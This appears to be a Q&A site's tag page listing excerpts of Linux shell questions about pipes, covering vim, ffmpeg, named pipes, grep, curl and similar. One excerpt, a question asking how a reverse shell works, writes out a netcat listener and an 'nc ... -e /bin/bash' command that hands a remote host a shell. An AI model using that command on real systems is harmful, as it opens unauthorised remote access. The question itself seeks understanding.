Questions tagged [pipe]

A pipe connects the output of one program to the input of another program. This is especially used to implement the shell | operator.

Filter by
Sorted by
Tagged with
7
votes
2answers
702 views

Bash function to robustly pipe terminal output to vim

I often re-direct my terminal output to vim, in this fashion, which I get tired of typing all the time: ls | vim - I would like to define a function v to do this for me, i.e I want to be able to type:...
1
vote
1answer
62 views

Pipe password argument to mount shell command

Status quo Given are following /etc/fstab mount points: //server/app /home/user/server/app cifs noauto,user,vers=3.11 0 0 //server/code /home/user/server/code cifs noauto,user,vers=3.11 0 0 These ...
1
vote
1answer
73 views

How to get video audio stream using ffmpeg pipe fdkaac m4a?

I want final file as .mkv containing video stream copy and audio stream encoded by fdkaac bt unfortunately i only get audio file pls help me how to pipe video stream also here??? I tried this: ...
0
votes
0answers
13 views

Query about | Pipe in CLI and Pipeline in IPC

What is the exact connection between Pipe(Denoted by this symbol => |) that we use in command line Interface(Shell) and Pipeline in Inter process communication?
2
votes
0answers
50 views

Help getting SSH server working again?

I have a ubuntu desktop on my home network that I used to be able to ssh into from several different machines, but about a week ago it stopped working. The only thing that I can think of that I ...
0
votes
1answer
72 views

use systemd-escape in an interavtive way

If we use systemd-escape SomePassword, the password will be stored in bash_history file. Is it possible to use it in an interactive way? cat | systemd-escape fails as systemd-escape expects the ...
0
votes
1answer
27 views

Pipe script output in terminal to filter lines

#!/bin/bash for f in *.{jpg,png,webm,mp4}; do mv "$f" "$(sed 's/[^0-9A-Za-z_.]/_/g' <<< "$f>; done Currently using this script to turn all of the specified files of that extension and ...
0
votes
0answers
26 views

Xorg input device from a named pipe

I am trying to create a virtual input device that does a complex remapping of key presses of an existing keyboard. The remapped output stream is written to a named pipe which is supposed to serve as ...
0
votes
1answer
29 views

Custom Commands on Terminal with pipe character

I need to make some custom commands on Ubuntu, everything is working fine until I found that my new custom command requires to have | as a input parameter. So, when I created my function it is not ...
0
votes
0answers
72 views

Terminal window doesn't show my input after using popen() in my program

In my C++ program I use popen() to read video frames with ffmpeg. When program stops on it's own or I close it with Ctrl+C everything I type into terminal just never appears (but it's there). I do ...
0
votes
0answers
125 views

-bash: ulimit: pipe size: cannot modify limit: Invalid argument (ulimit -p)

How do I change the pipe size in ubuntu? When I saw what it was $ ulimit -p 8 I tried $ ulimit -p 16 -bash: ulimit: pipe size: cannot modify limit: Invalid argument I did this to see what the ...
2
votes
1answer
253 views

Communicating via a local socket or named pipe

I'm reading a book that is related SSH. I can't figure out what this sentence means. SSH clients communicate with the agent via a local socket or named pipe whose filename is stored in an ...
0
votes
0answers
37 views

run pdftoppm on file from memory

The synopsis for pdftoppm is pdftoppm [options] PDF-file PPM-root Here PDF-file will be the name of a pdf file on the local filesystem. I am wondering, if I am holding the file in memory in some ...
1
vote
1answer
76 views

SIGQUIT breaks the pipe

Linux ping utility can produce some statistics on receiving SIGQUIT without terminating. It looks like this: PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=45 time=...
0
votes
3answers
60 views

How to treat an output of find as a string not a refrence to a file or directory

when I run find ~/foo/bar/. -mindepth 1 -maxdepth 1 -type d I get an output of all subdirectories of the given path. e.g. /home/user/foo/bar/a /home/user/foo/bar/b ... /home/user/foo/bar/abcd ...
4
votes
2answers
204 views

cat | dd inconsistent behavior

From a given a file, I have a requirement to create a copy that is padded with zeros to a specific size. If you create a file with the following. echo test >testfile The output of the following ...
5
votes
2answers
747 views

Piping the output of comand columns

I am using lolcat to get the output of ls in color. To do this i have copied /usr/bin/ls to /usr/bin/lsslss (to avoid an endless loop since alias cannot acccept $* or $@) and I have added the function:...
1
vote
1answer
185 views

What does `cat file | ssh host 'cat - >file'` do?

this is the script: #!/bin/bash usage() { echo "deploy-nginx.sh --production|--staging" } case "$1" in --staging) NGINX_CONF="conf/nginx-staging"; HOST="staging" ;; --production) ...
1
vote
1answer
194 views

What does this command mean?

While searching installation of lxqt I found apt install command for lxqt-sudo | gksu, xfwm4 | x-window-manager, firefox | www-browser. What does this commands mean? What is the difference with ...
0
votes
1answer
163 views

Why doesn't this work: ~$ echo “trythis” | sh ./script.sh

I'm trying to feed the string trythis into the script I made that creates a directory using what is written after it. For example this works: ~$ sh ./script trythis But using the pipe does not. I ...
2
votes
2answers
289 views

PDF a set of Office Libre files from the command line

Assume a set of .docx files are in a directory to be converted to .pdf format. Is there a clever way to list the files and pipe it into a command that would 'print' the pdf files to a target ...
4
votes
1answer
705 views

How does this command work? (reverse shell)

There was a simple way to connect two systems and getting a shell using nc command as below. machine A to listen nc -nlvp 4444 machine B to connect nc 192.168.4.4 4444 -e /bin/bash However ...
2
votes
1answer
451 views

CLI line buffer: How to pipe to grep an output stream?

I have this command (for pomodoros): play -n synth 25:00 pinknoise I don't want to silent completely the output (-q option), just the header (grep don't work). Normal output: File Size: 94.3T ...
-1
votes
1answer
206 views

Concatenation of two cURL commands fails, but the commands work separately

I am trying to concatenate two curl commands using a pipe. First there is a simple authentication that works using curl https://myserver --user username:password Second I need to use GLPI API for ...
0
votes
1answer
64 views

getting the uniqueness from extracted grep results BUT with stream as an input

On finished input (like a file) we can do that: cat file | grep -o memory=[3-9] | sort -u But sort won't work with a stream: tail -f server.log | grep -o memory=[3-9] | sort -u server.log can be ...
0
votes
0answers
21 views

Why do I get different output from the same commands? (redirect and piping) [duplicate]

So I'm learning to use the CLI and I'm playing around with redirecting and piping and then I get different output from executing the same commands. Basically I'm listing all executables from /bin/ ...
0
votes
1answer
79 views

What is the difference between command grouping and pipelining?

I couldn't understand the difference between command grouping and pipelining
3
votes
1answer
455 views

How to close a named pipe (thereby enabling it for cat)?

I need help closing a named pipe. I created a named fifo via mkfifo myfifo, then some C++ executable files wrote/read from myfifo, and now I wish to close it (so I can cat its contents to read them). ...
3
votes
2answers
2k views

how to split input to two pipes

I would like to do something equivalent to this: some-expensive-command > /tmp/mytempfile grep -v "pattern" /tmp/mytempfile >> output.txt grep "pattern" /tmp/mytempfile | yet-another-command ...
2
votes
1answer
582 views

How to split awk output to multiple lines for piping

I'm currently putting together a quick script that deploys multiple vagrant machines locally for dev purposes. Par of the procedure consists of adding the ssh key to the vagrant boxes. So far, ...
0
votes
2answers
1k views

Is `/dev/shm` universal in Linux and Ubuntu?

For FIFO pipe speed I'm considering placing it inside the RAM disk called /dev/shm. I see there are some files there already: $ ll /dev/shm total 1536 drwxrwxrwt 2 root root 280 Oct 2 17:...
0
votes
1answer
31 views

Find latest modified *.c file and compile it within terminal with pipelining?

Lately I have coded a little bit more with the terminal in Linux to get a deeper understanding of programming. Right now I am trying to automatize the compiling process with the following command: ...
0
votes
2answers
130 views

Pipe decrypted password to command

I would like to modify this so, my password is never visible. The method would need to work standalone and in scripts. echo fake | sudo -S thunar
6
votes
1answer
1k views

How to pipe all bash terminal output through command [duplicate]

I would like to be able to pipe all bash terminal commands through a certain command (for no good reason other than to play a prank on someone). I just want to pipe the stdout of any executed command ...
2
votes
1answer
211 views

How to pipe installed packages to apt-cache?

I'm trying to get package description of my installed packages. It would look like this: sudo apt list --installed | sed 's/\/.*//' | apt-cache search {} \; The problem is to send each line from ...
-1
votes
1answer
48 views

how to find & delete folder with a certain with find

I have a drive with daily backups (twice a day) and need to delete a folder in each backup which is pretty deep into a folder structure. /mnt/backup/backup/[yymmdd_hhmm/backup-clients/[username]/ ...
0
votes
3answers
119 views

Pipe for three commands [duplicate]

In the manual of sudo I need to search for -k so I tried this: man sudo | grep '\-k' But it would result a paragraph be half-written on the output: sudo -h | -K | -k | -V Similar to ...
2
votes
1answer
589 views

Play mp4 video file, by piping avconv to avplay on Ubuntu 14?

On Ubuntu 14.04, there is avconv/avplay instead of ffmpeg/ffplay; version is: $ avconv -version avconv version 11.3-6:11.3-1~trusty, Copyright (c) 2000-2014 the Libav developers built on Apr 13 ...
-6
votes
2answers
1k views

echo -e: A white space is added before the second sentence in <first sentence> \n <second sentence>

In Bash, I'm having a small trouble with the echo command and one of its -e sequences: A white space is added before the second sentence in <first sentence> \n <second sentence>. This is ...
10
votes
2answers
8k views

How do I pipe a newline separated list as arguments to another command?

So I have a list of usernames such as: user1 user2 user3 I want to apply id on each of them and get something like: uid=100(user1) gid=5(g1) groups=5(g1),6(g6),7(g10) . . How can I achieve this? ...
1
vote
3answers
4k views

download and pipe sql to psql

How can I do this in one step? Download backup command: curl http://s3.aws.com/backup.sql Restore backup command: sudo -u postgres psql <PIPE-THE-OUTPUT-OF-PREVIOUS-COMMAND>
13
votes
4answers
22k views

Appending a line to a file in the cat command?

I can do cat file.txt to get the contents of a file but I also want to tack on a final line of my own choosing. I tried piping (cat file.txt ; echo "My final line") | but only the final line is ...
0
votes
0answers
121 views

Understanding pipe (for large files)

My understanding of pipe is, all piped commands are invoked in parallel and stdout of each command is fed to next command as stdin. When processing large files, initial parts of data may be done with ...
1
vote
1answer
749 views

Ubuntu thinks I'm out of space! [duplicate]

I've got two Ubuntu boxes running who have both developed the same problem. They keep throwing up error messages about how I'm out of space. Error: BrokenCount > 0 Tried to run sudo apt-get -f ...
0
votes
0answers
860 views

Warning messages after closing Firefox in firejail sandbox mode

I generally use Firefox in sandbox mode using Firejail. Sometimes, I get warning messages when I close the browser, like the following messages... firejail firefox Reading profile /etc/firejail/...
0
votes
0answers
151 views

Pipe stdout through sed or awk command BEFORE redirecting to file? [duplicate]

I am still kind of new to programming, but willing to learn: I am struggling with a problem in following project: I am logging analog read-outs of an Arduino board. The Arduino board sends tab-...
3
votes
1answer
872 views

“read” command waiting for additional newline if input comes through pipe

If I simply run read it reads one line and immediately exits when the Enter is pressed. $ read typing something here $ However, when I pass the input through a pipe, e.g. from cat, read behaves ...
2
votes
1answer
216 views

How to feed standard input and dump into file at the same time?

I would like to feed a command with standard input and dump that standard input into the file at the same time. This is just failed attempt: read | tee dump.txt this command is waiting for standard ...
0
votes
1answer
102 views

Getting a tidy print from top

PID %CPU %MEM COMMAND 719011 ---- -- 0 ---- --- ---- - 0.7 1.3 606:58.25 ...
1
vote
1answer
2k views

What does “broken pipe” mean?

I was trying to upgrade from 14.04 to 16.04 and got a funny message. I am currently stuck between versions, can't go forward or back. All I have are terminal command functions, no GUI. These are my ...